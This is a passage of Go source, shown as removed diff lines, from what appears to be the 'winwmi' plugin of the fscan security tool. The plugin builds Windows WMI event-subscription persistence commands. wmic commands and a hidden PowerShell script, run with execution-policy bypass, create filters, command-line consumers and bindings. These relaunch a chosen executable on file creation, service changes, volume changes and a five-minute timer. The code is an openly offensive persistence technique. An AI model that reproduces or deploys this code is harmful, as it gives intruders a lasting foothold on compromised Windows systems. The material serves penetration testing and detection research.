fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt), - query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'", - description: "File Creation Monitor Trigger", - }, - { - filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ServiceControlEvent", - description: "Service State Change Trigger", - }, - } - - for _, config := range wmiEventConfigs { - filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - config.filterName, config.query) - - consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - config.consumerName, absPath, absPath) - - bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - config.filterName, config.consumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd)) - } - - timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt) - timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt) - // timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要,移除未使用的变量 - - timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'" - - timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - timerFilterName, timerQuery) - - timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - timerConsumerName, absPath, absPath) - - timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - timerFilterName, timerConsumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd)) - - powershellWMIScript := fmt.Sprintf(` -$filterName = "PowerShellFilter_%s" -$consumerName = "PowerShellConsumer_%s" -$bindingName = "PowerShellBinding_%s" - -$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ - Name = $filterName - EventNameSpace = "root\cimv2" - QueryLanguage = "WQL" - Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2" -} - -$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ - Name = $consumerName - CommandLineTemplate = '"%s"' - ExecutablePath = "%s" -} - -$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ - Filter = $Filter - Consumer = $Consumer -}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath) - - powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd)) - - return wmiSubscriptions, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinWMIPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件 -func RegisterWinWMIPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "winwmi", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化", - Category: "local", - Tags: []string{"winwmi", "local", "persistence", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewWinWMIPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("winwmi", factory) -} - -// init 插件注册函数 -func init() { - RegisterWinWMIPlugin() -} \ No newline at end of file